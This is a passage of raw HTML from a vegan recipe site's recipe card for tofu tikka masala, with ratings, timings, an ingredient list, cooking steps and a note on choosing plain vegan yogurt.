id="wprm-recipe-rating-0-66"><stop offset="0%" stop-opacity="1" /><stop offset="66%" stop-opacity="1" /><stop offset="66%" stop-opacity="0" /><stop offset="100%" stop-opacity="0" /></linearGradient></defs></svg><div id="wprm-recipe-rating-0" class="wprm-recipe-rating wprm-recipe-rating-recipe-5588 wprm-recipe-rating-separate"><span class="wprm-rating-star wprm-rating-star-1 wprm-rating-star-full" data-rating="1" data-color="var(--meadow-accent-color)" style="font-size: 1.5em;padding: 2px;padding-left: 0;"><svg width="16px" height="16px" version="1.1" viewBox="0 0 24 24" xmlns="http://www.w3.org/2000/svg"><path fill="none" stroke="var(--meadow-accent-color)" stroke-width="2" stroke-linejoin="round" d="M11.99,1.94c-.35,0-.67.19-.83.51l-2.56,5.2c-.11.24-.34.4-.61.43l-5.75.83c-.35.05-.64.3-.74.64-.11.34,0,.7.22.94l4.16,4.05c.19.19.27.45.22.7l-.98,5.72c-.06.35.1.7.37.9.29.21.66.24.98.08l5.14-2.71h0c.24-.13.51-.13.75,0l5.14,2.71c.32.16.69.13.98-.08.29-.21.43-.56.37-.9l-.98-5.72h0c-.05-.26.05-.53.22-.7l4.16-4.05h0c.26-.24.34-.61.22-.94s-.4-.58-.74-.64l-5.75-.83c-.26-.03-.48-.21-.61-.43l-2.56-5.2c-.16-.32-.48-.53-.83-.51,0,0-.02,0-.02,0Z"/></svg></span><span class="wprm-rating-star wprm-rating-star-2 wprm-rating-star-full" data-rating="2" data-color="var(--meadow-accent-color)" style="font-size: 1.5em;padding: 2px;"><svg width="16px" height="16px" version="1.1" viewBox="0 0 24 24" xmlns="http://www.w3.org/2000/svg"><path fill="none" stroke="var(--meadow-accent-color)" stroke-width="2" stroke-linejoin="round" d="M11.99,1.94c-.35,0-.67.19-.83.51l-2.56,5.2c-.11.24-.34.4-.61.43l-5.75.83c-.35.05-.64.3-.74.64-.11.34,0,.7.22.94l4.16,4.05c.19.19.27.45.22.7l-.98,5.72c-.06.35.1.7.37.9.29.21.66.24.98.08l5.14-2.71h0c.24-.13.51-.13.75,0l5.14,2.71c.32.16.69.13.98-.08.29-.21.43-.56.37-.9l-.98-5.72h0c-.05-.26.05-.53.22-.7l4.16-4.05h0c.26-.24.34-.61.22-.94s-.4-.58-.74-.64l-5.75-.83c-.26-.03-.48-.21-.61-.43l-2.56-5.2c-.16-.32-.48-.53-.83-.51,0,0-.02,0-.02,0Z"/></svg></span><span class="wprm-rating-star wprm-rating-star-3 wprm-rating-star-full" data-rating="3" data-color="var(--meadow-accent-color)" style="font-size: 1.5em;padding: 2px;"><svg width="16px" height="16px" version="1.1" viewBox="0 0 24 24" xmlns="http://www.w3.org/2000/svg"><path fill="none" stroke="var(--meadow-accent-color)" stroke-width="2" stroke-linejoin="round" d="M11.99,1.94c-.35,0-.67.19-.83.51l-2.56,5.2c-.11.24-.34.4-.61.43l-5.75.83c-.35.05-.64.3-.74.64-.11.34,0,.7.22.94l4.16,4.05c.19.19.27.45.22.7l-.98,5.72c-.06.35.1.7.37.9.29.21.66.24.98.08l5.14-2.71h0c.24-.13.51-.13.75,0l5.14,2.71c.32.16.69.13.98-.08.29-.21.43-.56.37-.9l-.98-5.72h0c-.05-.26.05-.53.22-.7l4.16-4.05h0c.26-.24.34-.61.22-.94s-.4-.58-.74-.64l-5.75-.83c-.26-.03-.48-.21-.61-.43l-2.56-5.2c-.16-.32-.48-.53-.83-.51,0,0-.02,0-.02,0Z"/></svg></span><span class="wprm-rating-star wprm-rating-star-4 wprm-rating-star-full" data-rating="4" data-color="var(--meadow-accent-color)" style="font-size: 1.5em;padding: 2px;"><svg width="16px" height="16px" version="1.1" viewBox="0 0 24 24" xmlns="http://www.w3.org/2000/svg"><path fill="none" stroke="var(--meadow-accent-color)" stroke-width="2" stroke-linejoin="round" d="M11.99,1.94c-.35,0-.67.19-.83.51l-2.56,5.2c-.11.24-.34.4-.61.43l-5.75.83c-.35.05-.64.3-.74.64-.11.34,0,.7.22.94l4.16,4.05c.19.19.27.45.22.7l-.98,5.72c-.06.35.1.7.37.9.29.21.66.24.98.08l5.14-2.71h0c.24-.13.51-.13.75,0l5.14,2.71c.32.16.69.13.98-.08.29-.21.43-.56.37-.9l-.98-5.72h0c-.05-.26.05-.53.22-.7l4.16-4.05h0c.26-.24.34-.61.22-.94s-.4-.58-.74-.64l-5.75-.83c-.26-.03-.48-.21-.61-.43l-2.56-5.2c-.16-.32-.48-.53-.83-.51,0,0-.02,0-.02,0Z"/></svg></span><span class="wprm-rating-star wprm-rating-star-5 wprm-rating-star-full" data-rating="5" data-color="var(--meadow-accent-color)" style="font-size: 1.5em;padding: 2px;padding-right: 0;"><svg width="16px" height="16px" version="1.1" viewBox="0 0 24 24" xmlns="http://www.w3.org/2000/svg"><path fill="none" stroke="var(--meadow-accent-color)" stroke-width="2" stroke-linejoin="round" d="M11.99,1.94c-.35,0-.67.19-.83.51l-2.56,5.2c-.11.24-.34.4-.61.43l-5.75.83c-.35.05-.64.3-.74.64-.11.34,0,.7.22.94l4.16,4.05c.19.19.27.45.22.7l-.98,5.72c-.06.35.1.7.37.9.29.21.66.24.98.08l5.14-2.71h0c.24-.13.51-.13.75,0l5.14,2.71c.32.16.69.13.98-.08.29-.21.43-.56.37-.9l-.98-5.72h0c-.05-.26.05-.53.22-.7l4.16-4.05h0c.26-.24.34-.61.22-.94s-.4-.58-.74-.64l-5.75-.83c-.26-.03-.48-.21-.61-.43l-2.56-5.2c-.16-.32-.48-.53-.83-.51,0,0-.02,0-.02,0Z"/></svg></span><div class="wprm-recipe-rating-details wprm-block-text-normal"><span class="wprm-recipe-rating-average">5</span> from <span class="wprm-recipe-rating-count">3</span> votes</div></div>
      <div class="wprm-spacer" style="height: 15px;"></div>
      
      <div class="wprm-spacer" style="height: 20px;"></div>
      <div class="wprm-layout-container">
        <a href="https://kindnesskitchen.ca/wprm_print/tofu-tikka-masala" style="color: #333333;background-color: #ffffff;border-color: #333333;border-radius: 50px;padding: 5px 15px;" class="wprm-recipe-print wprm-recipe-link wprm-print-recipe-shortcode wprm-block-text-semi-bold wprm-recipe-print-inline-button wprm-recipe-link-inline-button wprm-color-accent" data-recipe-id="5588" data-template="" target="_blank" rel="nofollow">Print Recipe</a>
        <a href="https://www.pinterest.com/pin/create/bookmarklet/?url=https%3A%2F%2Fkindnesskitchen.ca%2Ftofu-tikka-masala%2F&amp;media=https%3A%2F%2Fi0.wp.com%2Fkindnesskitchen.ca%2Fwp-content%2Fuploads%2F2017%2F04%2FIMG_0057-2.jpg%3Ffit%3D3623%252C2415%26ssl%3D1&amp;description=Tofu+Tikka+Masala&amp;is_video=false" target="_blank" rel="nofollow noopener" data-recipe="5588" data-url="https://kindnesskitchen.ca/tofu-tikka-masala/" data-media="https://i0.wp.com/kindnesskitchen.ca/wp-content/uploads/2017/04/IMG_0057-2.jpg?fit=3623%2C2415&amp;ssl=1" data-description="Tofu Tikka Masala" data-repin="" role="button" style="color: #333333;background-color: #ffffff;border-color: #333333;border-radius: 50px;padding: 5px 15px;" class="wprm-recipe-pin wprm-recipe-link wprm-block-text-semi-bold wprm-recipe-pin-inline-button wprm-recipe-link-inline-button wprm-color-accent">Pin Recipe</a>
        
      </div>
    </div>
  </div>
  <div class="wprm-layout-container meadow-header-meta">
    <div class="wprm-spacer" style="height: 20px;"></div>
    <div class="wprm-recipe-meta-container wprm-recipe-times-container wprm-recipe-details-container wprm-recipe-details-container-table wprm-block-text-semi-bold wprm-recipe-table-borders-top-bottom wprm-recipe-table-borders-empty" style="border-width: 1px;border-style: solid;border-color: var(--meadow-accent-color);"><div class="wprm-recipe-block-container wprm-recipe-block-container-table wprm-block-text-semi-bold wprm-recipe-time-container wprm-recipe-prep-time-container" style="border-width: 1px;border-style: solid;border-color: var(--meadow-accent-color);"><span class="wprm-recipe-details-label wprm-block-text-normal wprm-recipe-time-label wprm-recipe-prep-time-label">Prep Time </span><span class="wprm-recipe-time wprm-block-text-semi-bold"><span class="wprm-recipe-details wprm-recipe-details-minutes wprm-recipe-prep_time wprm-recipe-prep_time-minutes">10<span class="sr-only screen-reader-text wprm-screen-reader-text"> minutes</span></span> <span class="wprm-recipe-details-unit wprm-recipe-details-minutes wprm-recipe-prep_time-unit wprm-recipe-prep_timeunit-minutes" aria-hidden="true">mins</span></span></div><div class="wprm-recipe-block-container wprm-recipe-block-container-table wprm-block-text-semi-bold wprm-recipe-time-container wprm-recipe-cook-time-container" style="border-width: 1px;border-style: solid;border-color: var(--meadow-accent-color);"><span class="wprm-recipe-details-label wprm-block-text-normal wprm-recipe-time-label wprm-recipe-cook-time-label">Cook Time </span><span class="wprm-recipe-time wprm-block-text-semi-bold"><span class="wprm-recipe-details wprm-recipe-details-minutes wprm-recipe-cook_time wprm-recipe-cook_time-minutes">30<span class="sr-only screen-reader-text wprm-screen-reader-text"> minutes</span></span> <span class="wprm-recipe-details-unit wprm-recipe-details-minutes wprm-recipe-cook_time-unit wprm-recipe-cook_timeunit-minutes" aria-hidden="true">mins</span></span></div><div class="wprm-recipe-block-container wprm-recipe-block-container-table wprm-block-text-semi-bold wprm-recipe-time-container wprm-recipe-total-time-container" style="border-width: 1px;border-style: solid;border-color: var(--meadow-accent-color);"><span class="wprm-recipe-details-label wprm-block-text-normal wprm-recipe-time-label wprm-recipe-total-time-label">Total Time </span><span class="wprm-recipe-time wprm-block-text-semi-bold"><span class="wprm-recipe-details wprm-recipe-details-minutes wprm-recipe-total_time wprm-recipe-total_time-minutes">40<span class="sr-only screen-reader-text wprm-screen-reader-text"> minutes</span></span> <span class="wprm-recipe-details-unit wprm-recipe-details-minutes wprm-recipe-total_time-unit wprm-recipe-total_timeunit-minutes" aria-hidden="true">mins</span></span></div></div>
    <div class="wprm-spacer" style="height: 20px;"></div>
    <div class="wprm-recipe-meta-container wprm-recipe-custom-container wprm-recipe-details-container wprm-recipe-details-container-pills wprm-block-text-smaller" style="justify-content: center;--pill-background-color: var(--meadow-accent-color);"><div class="wprm-recipe-meta-container-pill"><div class="wprm-recipe-block-container wprm-recipe-block-container-pills wprm-block-text-smaller wprm-recipe-servings-container" style=""><span class="wprm-recipe-details-label wprm-block-text-light wprm-recipe-servings-label">Servings: </span><span class="wprm-recipe-servings wprm-recipe-details wprm-block-text-smaller">3</span></div></div><div class="wprm-recipe-meta-container-pill"><div class="wprm-recipe-block-container wprm-recipe-block-container-pills wprm-block-text-smaller wprm-recipe-tag-container wprm-recipe-cuisine-container" style=""><span class="wprm-recipe-details-label wprm-block-text-light wprm-recipe-tag-label wprm-recipe-cuisine-label">Cuisine: </span><span class="wprm-recipe-cuisine wprm-block-text-smaller">Indian</span></div></div><div class="wprm-recipe-meta-container-pill"><div class="wprm-recipe-block-container wprm-recipe-block-container-pills wprm-block-text-smaller wprm-recipe-nutrition-container wprm-recipe-calories-container" style=""><span class="wprm-recipe-details-label wprm-block-text-light wprm-recipe-nutrition-label wprm-recipe-calories-label">Calories: </span><span class="wprm-recipe-details wprm-recipe-nutrition wprm-recipe-calories wprm-block-text-smaller">323</span></div></div></div>
  </div>
</div>
<div class="wprm-layout-container wprm-padding-40 meadow-main" style="--wprm-layout-container-background-color: var(--meadow-main-background-color);">
  <div class="wprm-recipe-jump-to-section-container wprm-recipe-jump-to-section-container-scroll scrolled-left wprm-recipe-jump-to-section-icon-above" style="--wprm-jump-to-section-alignment: space-between;--wprm-jump-to-section-text-color: var(--meadow-accent-color);"><a href="#recipe-5588-ingredients" class="wprm-recipe-jump-to-section wprm-block-text-smaller"><span class="wprm-recipe-icon wprm-recipe-jump-to-section-icon" style="font-size: 28px;"><svg width="54" height="50" viewBox="0 0 54 50" fill="none" xmlns="http://www.w3.org/2000/svg">
<g clip-path="url(#clip0_135_292)">
<path d="M23.424 37.308L47.8222 23.0331C48.4587 22.6607 49.2988 22.8556 49.688 23.4903L49.9024 23.84C54.3182 31.0416 51.9199 40.3821 44.5475 44.6956C37.175 49.0091 27.6129 46.6664 23.197 39.4648L22.9826 39.115C22.6014 38.4933 22.8008 37.6727 23.4506 37.2925L23.424 37.308Z" stroke="var(--meadow-accent-color)" stroke-width="2.0908" stroke-miterlimit="10"/>
<path d="M40.0314 27.5907L40.0777 27.6662C41.5615 30.097 40.8505 33.1921 38.4703 34.5812C36.09 35.9702 32.9523 35.1247 31.4685 32.709L31.4221 32.6335" stroke="var(--meadow-accent-color)" stroke-width="2.0908" stroke-miterlimit="10"/>
<path d="M31.7641 21.797C30.373 24.3637 27.4054 25.8735 24.4378 25.5414C23.294 25.4055 22.2584 25.0431 21.3619 24.5147C20.4655 23.9862 19.2908 24.3486 18.9971 25.3451L18.0388 28.6365C17.8842 29.18 17.3123 29.482 16.7559 29.331L12.3354 28.1081C11.7789 27.9571 11.4698 27.3984 11.6244 26.8549L12.629 23.3823C12.9227 22.3707 12.0881 21.4648 11.0061 21.5252C10.2024 21.5705 9.38319 21.4799 8.57946 21.2535C3.64885 19.8795 1.31493 13.8553 5.13267 9.38625C6.98745 7.2121 10.0324 6.56288 12.7991 7.40838C12.8609 7.42348 12.9227 7.45367 12.9845 7.46877C14.5302 4.43403 18.1315 2.80342 21.5938 3.7697C25.056 4.73599 27.2508 7.96701 26.9417 11.3339C27.0499 11.3339 27.1736 11.3792 27.2818 11.4094C31.7178 12.6324 34.0517 17.5846 31.7796 21.7819L31.7641 21.797Z" stroke="var(--meadow-accent-color)" stroke-width="2.0908" stroke-miterlimit="10"/>
<path d="M42.5578 7.29608L38.3924 8.74175C37.6041 9.01534 37.1921 9.86134 37.4722 10.6314L38.9522 14.7003C39.2323 15.4703 40.0983 15.8727 40.8866 15.5991L45.0521 14.1535C45.8403 13.8799 46.2523 13.0339 45.9723 12.2639L44.4923 8.19495C44.2122 7.42493 43.3461 7.02249 42.5578 7.29608Z" stroke="var(--meadow-accent-color)" stroke-width="2.0908" stroke-miterlimit="10"/>
<path d="M12.9856 7.46869C12.9856 7.46869 17.9162 9.52205 17.1434 14.7913" stroke="var(--meadow-accent-color)" stroke-width="2.0908" stroke-miterlimit="10" stroke-linecap="round"/>
<path d="M8.36171 46.8107C11.6311 46.8107 14.2815 44.2218 14.2815 41.0281C14.2815 37.8345 11.6311 35.2455 8.36171 35.2455C5.09229 35.2455 2.44189 37.8345 2.44189 41.0281C2.44189 44.2218 5.09229 46.8107 8.36171 46.8107Z" stroke="var(--meadow-accent-color)" stroke-width="2.0908" stroke-miterlimit="10"/>
<path d="M33.6169 46.2672L34.467 39.8504" stroke="var(--meadow-accent-color)" stroke-width="2.0908" stroke-miterlimit="10" stroke-linecap="round"/>
<path d="M47.451 42.4926L44.3906 39.02" stroke="var(--meadow-accent-color)" stroke-width="2.0908" stroke-miterlimit="10" stroke-linecap="round"/>
<path d="M51.5317 32.1806L46.7866 31.6219" stroke="var(--meadow-accent-color)" stroke-width="2.0908" stroke-miterlimit="10" stroke-linecap="round"/>
</g>
<defs>
<clipPath id="clip0_135_292">
<rect width="53.201" height="48.7612" fill="white" transform="translate(0 0.308289)"/>
</clipPath>
</defs>
</svg>
</span> Ingredients</a><a href="#recipe-5588-instructions" class="wprm-recipe-jump-to-section wprm-block-text-smaller"><span class="wprm-recipe-icon wprm-recipe-jump-to-section-icon" style="font-size: 28px;"><svg width="43" height="51" viewBox="0 0 43 51" fill="none" xmlns="http://www.w3.org/2000/svg">
<g clip-path="url(#clip0_135_313)">
<path d="M1.16528 30.2541V23.2404H41.6085V30.2541C41.6085 40.0501 32.5532 47.9913 21.3869 47.9913C10.2206 47.9913 1.16528 40.0357 1.16528 30.2541Z" stroke="var(--meadow-accent-color)" stroke-width="2.07453" stroke-miterlimit="10" stroke-linecap="round"/>
<path d="M30.9519 6.32898C35.9163 7.15498 39.2502 8.69104 39.2502 10.43C39.2502 12.5457 34.4023 14.3281 27.6763 14.9657" stroke="var(--meadow-accent-color)" stroke-width="2.07453" stroke-miterlimit="10" stroke-linecap="round"/>
<path d="M15.7369 14.5456C9.47678 13.85 5.05103 12.1255 5.05103 10.1113C5.05103 7.7202 11.2529 5.7494 19.3328 5.40161" stroke="var(--meadow-accent-color)" stroke-width="2.07453" stroke-miterlimit="10" stroke-linecap="round"/>
<path d="M18.0688 23.2403L27.2261 1.95276" stroke="var(--meadow-accent-color)" stroke-width="2.07453" stroke-miterlimit="10" stroke-linecap="round"/>
<path d="M1.16528 27.5006H41.6231" stroke="var(--meadow-accent-color)" stroke-width="2.07453" stroke-miterlimit="10" stroke-linecap="round"/>
<path d="M11.9092 48.9042H31.0244" stroke="var(--meadow-accent-color)" stroke-width="2.07453" stroke-miterlimit="10" stroke-linecap="round"/>
<path d="M30.995 7.85065L29.7721 6.05374C29.7721 6.05374 29.743 5.89434 29.8158 5.85087L31.621 4.63361" stroke="var(--meadow-accent-color)" stroke-width="2.07453" stroke-miterlimit="10" stroke-linecap="round"/>
<path d="M14.9666 12.8646L16.2769 14.6036C16.2769 14.6036 16.306 14.763 16.2477 14.8064L14.5007 16.1107" stroke="var(--meadow-accent-color)" stroke-width="2.07453" stroke-miterlimit="10" stroke-linecap="round"/>
</g>
<defs>
<clipPath id="clip0_135_313">
<rect width="42.6884" height="49.3843" fill="white" transform="translate(0 0.793579)"/>
</clipPath>
</defs>
</svg>
</span> Method</a><a href="#recipe-5588-notes" class="wprm-recipe-jump-to-section wprm-block-text-smaller"><span class="wprm-recipe-icon wprm-recipe-jump-to-section-icon" style="font-size: 28px;"><svg width="45" height="39" viewBox="0 0 45 39" fill="none" xmlns="http://www.w3.org/2000/svg">
<path d="M10.6686 21.8716L29.8227 2.69726C30.4248 2.09334 31.4032 2.09334 32.0053 2.69726L42.3726 13.0959C42.9747 13.6999 42.9747 14.6812 42.3726 15.2851L23.2185 34.4595C22.8798 34.7992 22.4471 35.0256 21.9579 35.0823L9.16336 36.8374C8.65535 36.9129 8.22259 36.4788 8.29785 35.9693L10.0477 23.136C10.1041 22.6642 10.3299 22.2113 10.6686 21.8905V21.8716Z" stroke="var(--meadow-accent-color)" stroke-width="2.14929" stroke-miterlimit="10" stroke-linecap="round"/>
<path d="M26.0786 6.45288L38.6285 19.0219" stroke="var(--meadow-accent-color)" stroke-width="2.14929" stroke-miterlimit="10" stroke-linecap="round"/>
<path d="M32.0432 13.0204L18.2703 26.8162" stroke="var(--meadow-accent-color)" stroke-width="2.14929" stroke-miterlimit="10" stroke-linecap="round"/>
<path d="M10.292 22.3622C13.3777 23.0227 16.1248 24.608 18.2509 26.8161C20.3959 29.0053 21.8823 31.8172 22.428 34.9501" stroke="var(--meadow-accent-color)" stroke-width="2.14929" stroke-miterlimit="10" stroke-linecap="round"/>
<path d="M1.50562 7.94373H11.5342" stroke="var(--meadow-accent-color)" stroke-width="2.14929" stroke-miterlimit="10" stroke-linecap="round"/>
<path d="M1.73071 2.24432H16.3691" stroke="var(--meadow-accent-color)" stroke-width="2.14929" stroke-miterlimit="10" stroke-linecap="round"/>
<path d="M1.73071 13.6622H7.77047" stroke="var(--meadow-accent-color)" stroke-width="2.14929" stroke-miterlimit="10" stroke-linecap="round"/>
</svg>
</span> Notes</a></div>
  <div class="wprm-layout-column-container wprm-column-gap-40 wprm-column-rows-recipe-900 meadow-main-columns">
    <div class="wprm-layout-column wprm-column-width-50 meadow-main-left">
      <div id="recipe-5588-ingredients" class="wprm-recipe-ingredients-container wprm-recipe-5588-ingredients-container wprm-block-text-normal wprm-ingredient-style-regular wprm-recipe-images-before" data-recipe="5588" data-servings="3"><h3 class="wprm-recipe-header wprm-recipe-ingredients-header wprm-block-text-bold wprm-align-left wprm-header-decoration-spacer wprm-header-has-actions wprm-header-has-actions" style="">Ingredients<div class="wprm-decoration-spacer"></div>&nbsp;&nbsp;</h3><div class="wprm-spacer" style="height: 15px;"></div><div class="wprm-internal-container wprm-internal-container-ingredients wprm-expandable-container wprm-expandable-expanded" style=""><div class="wprm-internal-container-toggle"><a role="button" aria-expanded="false" class="wprm-expandable-button wprm-expandable-button-show" aria-label="Show Section"><span class="wprm-recipe-icon wprm-collapsible-icon"><svg xmlns="http://www.w3.org/2000/svg" width="16" height="16" viewBox="0 0 16 16"><g class="nc-icon-wrapper" stroke-width="1" fill="none" stroke="#333333" stroke-miterlimit="10" stroke-linecap="round" stroke-linejoin="round"><polyline points="3.5,9.5 8,5 12.5,9.5 "></polyline></g></svg></span> </a><a role="button" aria-expanded="true" class="wprm-expandable-button wprm-expandable-button-hide" aria-label="Hide Section"><span class="wprm-recipe-icon wprm-collapsible-icon"><svg xmlns="http://www.w3.org/2000/svg" width="16" height="16" viewBox="0 0 16 16"><g class="nc-icon-wrapper" stroke-width="1" fill="none" stroke="#333333" stroke-miterlimit="10" stroke-linecap="round" stroke-linejoin="round"><polyline points="3.5,6.5 8,11 12.5,6.5 "></polyline></g></svg></span> </a></div><div class="wprm-recipe-ingredient-group"><ul class="wprm-recipe-ingredients"><li class="wprm-recipe-ingredient" style="list-style-type: none;border-bottom: 1px solid var(--meadow-list-border-color);padding-bottom: 5px;margin-bottom: 5px;"><span class="wprm-recipe-ingredient-amount">1</span>&#32;<span class="wprm-recipe-ingredient-name">block extra firm tofu</span>&#32;<span class="wprm-recipe-ingredient-notes wprm-recipe-ingredient-notes-faded">cubed (about 250g)</span></li><li class="wprm-recipe-ingredient" style="list-style-type: none;border-bottom: 1px solid var(--meadow-list-border-color);padding-bottom: 5px;margin-bottom: 5px;"><span class="wprm-recipe-ingredient-name">Oil for sauteeing</span></li><li class="wprm-recipe-ingredient" style="list-style-type: none;border-bottom: 1px solid var(--meadow-list-border-color);padding-bottom: 5px;margin-bottom: 5px;"><span class="wprm-recipe-ingredient-amount">1</span>&#32;<span class="wprm-recipe-ingredient-name">onion</span>&#32;<span class="wprm-recipe-ingredient-notes wprm-recipe-ingredient-notes-faded">chopped</span></li><li class="wprm-recipe-ingredient" style="list-style-type: none;border-bottom: 1px solid var(--meadow-list-border-color);padding-bottom: 5px;margin-bottom: 5px;"><span class="wprm-recipe-ingredient-amount">2</span>&#32;<span class="wprm-recipe-ingredient-name">green chilies</span>&#32;<span class="wprm-recipe-ingredient-notes wprm-recipe-ingredient-notes-faded">or jalapenos seeded and chopped</span></li><li class="wprm-recipe-ingredient" style="list-style-type: none;border-bottom: 1px solid var(--meadow-list-border-color);padding-bottom: 5px;margin-bottom: 5px;"><span class="wprm-recipe-ingredient-amount">1</span>&#32;<span class="wprm-recipe-ingredient-unit">inch</span>&#32;<span class="wprm-recipe-ingredient-name"> ginger</span>&#32;<span class="wprm-recipe-ingredient-notes wprm-recipe-ingredient-notes-faded">peeled and chopped</span></li><li class="wprm-recipe-ingredient" style="list-style-type: none;border-bottom: 1px solid var(--meadow-list-border-color);padding-bottom: 5px;margin-bottom: 5px;"><span class="wprm-recipe-ingredient-amount">3</span>&#32;<span class="wprm-recipe-ingredient-unit">cloves</span>&#32;<span class="wprm-recipe-ingredient-name">garlic</span>&#32;<span class="wprm-recipe-ingredient-notes wprm-recipe-ingredient-notes-faded">minced</span></li><li class="wprm-recipe-ingredient" style="list-style-type: none;border-bottom: 1px solid var(--meadow-list-border-color);padding-bottom: 5px;margin-bottom: 5px;"><span class="wprm-recipe-ingredient-amount">1</span>&#32;<span class="wprm-recipe-ingredient-unit">tbsp</span>&#32;<span class="wprm-recipe-ingredient-name">brown sugar</span></li><li class="wprm-recipe-ingredient" style="list-style-type: none;border-bottom: 1px solid var(--meadow-list-border-color);padding-bottom: 5px;margin-bottom: 5px;"><span class="wprm-recipe-ingredient-amount">1</span>&#32;<span class="wprm-recipe-ingredient-unit">tsp</span>&#32;<span class="wprm-recipe-ingredient-name">turmeric</span></li><li class="wprm-recipe-ingredient" style="list-style-type: none;border-bottom: 1px solid var(--meadow-list-border-color);padding-bottom: 5px;margin-bottom: 5px;"><span class="wprm-recipe-ingredient-amount">2</span>&#32;<span class="wprm-recipe-ingredient-unit">tsp</span>&#32;<span class="wprm-recipe-ingredient-name">garam masala</span></li><li class="wprm-recipe-ingredient" style="list-style-type: none;border-bottom: 1px solid var(--meadow-list-border-color);padding-bottom: 5px;margin-bottom: 5px;"><span class="wprm-recipe-ingredient-amount">1/4-1/2</span>&#32;<span class="wprm-recipe-ingredient-unit">tsp</span>&#32;<span class="wprm-recipe-ingredient-name">Indian chili powder</span>&#32;<span class="wprm-recipe-ingredient-notes wprm-recipe-ingredient-notes-faded">or cayenne</span></li><li class="wprm-recipe-ingredient" style="list-style-type: none;border-bottom: 1px solid var(--meadow-list-border-color);padding-bottom: 5px;margin-bottom: 5px;"><span class="wprm-recipe-ingredient-amount">1</span>&#32;<span class="wprm-recipe-ingredient-unit">tbsp</span>&#32;<span class="wprm-recipe-ingredient-name">tomato paste</span></li><li class="wprm-recipe-ingredient" style="list-style-type: none;border-bottom: 1px solid var(--meadow-list-border-color);padding-bottom: 5px;margin-bottom: 5px;"><span class="wprm-recipe-ingredient-amount">1</span>&#32;<span class="wprm-recipe-ingredient-name">can diced or crushed tomatoes</span></li><li class="wprm-recipe-ingredient" style="list-style-type: none;border-bottom: 1px solid var(--meadow-list-border-color);padding-bottom: 5px;margin-bottom: 5px;"><span class="wprm-recipe-ingredient-amount">1/4</span>&#32;<span class="wprm-recipe-ingredient-unit">cup</span>&#32;<span class="wprm-recipe-ingredient-name">PLAIN vegan yogurt</span>&#32;<span class="wprm-recipe-ingredient-notes wprm-recipe-ingredient-notes-faded"> optional, see note.</span></li><li class="wprm-recipe-ingredient" style="list-style-type: none;"><span class="wprm-recipe-ingredient-amount">1/4</span>&#32;<span class="wprm-recipe-ingredient-unit">cup</span>&#32;<span class="wprm-recipe-ingredient-name">chopped cilantro</span>&#32;<span class="wprm-recipe-ingredient-notes wprm-recipe-ingredient-notes-faded">or more to taste</span></li></ul></div></div></div>
      
    </div>
    <div class="wprm-layout-column wprm-column-width-50 meadow-main-right">
      <div id="recipe-5588-instructions" class="wprm-recipe-instructions-container wprm-recipe-5588-instructions-container wprm-block-text-normal" data-recipe="5588"><h3 class="wprm-recipe-header wprm-recipe-instructions-header wprm-block-text-bold wprm-align-left wprm-header-decoration-spacer wprm-header-has-actions" style="">Method<div class="wprm-decoration-spacer"></div>&nbsp;</h3><div class="wprm-spacer" style="height: 15px;"></div><div class="wprm-recipe-instruction-group"><ol class="wprm-recipe-instructions"><li id="wprm-recipe-5588-step-0-0" class="wprm-recipe-instruction" style="list-style-type: decimal;" value="1"><div class="wprm-recipe-instruction-text" style="margin-bottom: 10px;">In a large pan, heat about 2 tbsp oil.</div></li><li id="wprm-recipe-5588-step-0-1" class="wprm-recipe-instruction" style="list-style-type: decimal;" value="2"><div class="wprm-recipe-instruction-text" style="margin-bottom: 10px;">Fry onions and chili until softened, about 5 minutes.</div></li><li id="wprm-recipe-5588-step-0-2" class="wprm-recipe-instruction" style="list-style-type: decimal;" value="3"><div class="wprm-recipe-instruction-text" style="margin-bottom: 10px;">Add ginger and garlic, fry 2 minutes.</div></li><li id="wprm-recipe-5588-step-0-3" class="wprm-recipe-instruction" style="list-style-type: decimal;" value="4"><div class="wprm-recipe-instruction-text" style="margin-bottom: 10px;">Add in spices and sugar. Stir and fry until fragrant, about 1-2 minutes</div></li><li id="wprm-recipe-5588-step-0-4" class="wprm-recipe-instruction" style="list-style-type: decimal;" value="5"><div class="wprm-recipe-instruction-text" style="margin-bottom: 10px;">Add in tomato paste and diced tomatoes. Stir to combine. Cook about 5 minutes.</div></li><li id="wprm-recipe-5588-step-0-5" class="wprm-recipe-instruction" style="list-style-type: decimal;" value="6"><div class="wprm-recipe-instruction-text" style="margin-bottom: 10px;">Pour mixture into a blender or food processor (or use immersion blender) and blitz until smooth.</div></li><li id="wprm-recipe-5588-step-0-6" class="wprm-recipe-instruction" style="list-style-type: decimal;" value="7"><div class="wprm-recipe-instruction-text" style="margin-bottom: 10px;">In same pan, heat 2 more tbsp oil and fry tofu until beginning to brown, about 5 minutes.</div></li><li id="wprm-recipe-5588-step-0-7" class="wprm-recipe-instruction" style="list-style-type: decimal;" value="8"><div class="wprm-recipe-instruction-text" style="margin-bottom: 10px;"><span style="display: block;">Return sauce to pan and simmer for 10 minutes. If too thick, add in a bit of water</span></div></li><li id="wprm-recipe-5588-step-0-8" class="wprm-recipe-instruction" style="list-style-type: decimal;" value="9"><div class="wprm-recipe-instruction-text" style="margin-bottom: 10px;">Remove from heat and stir in the yogurt and the chopped cilantro.</div></li><li id="wprm-recipe-5588-step-0-9" class="wprm-recipe-instruction" style="list-style-type: decimal;" value="10"><div class="wprm-recipe-instruction-text" style="margin-bottom: 10px;">Serve over rice, garnish with cilantro. Serve alongside roti or vegan naan.</div></li></ol></div></div>
      
      <div id="recipe-video"></div>
      <div id="recipe-5588-notes" class="wprm-recipe-notes-container wprm-block-text-normal"><h3 class="wprm-recipe-header wprm-recipe-notes-header wprm-block-text-bold wprm-align-left wprm-header-decoration-none" style="">Notes</h3><div class="wprm-spacer" style="height: 15px;"></div><div class="wprm-recipe-notes"><span style="display: block;">The best vegan yogurt I've tried is the Silk Cultured Coconut - be sure you use the PLAIN UNSWEETENED variety. If you cannot find a decent vegan yogurt, you can omit it from the recipe. It's better with the yogurt, a bit creamier and richer - but the sauce is delicious without it.</span></div></div>
      <div class="wprm-spacer" style="height: 40px;"></div>
      
    </div>
  </div>
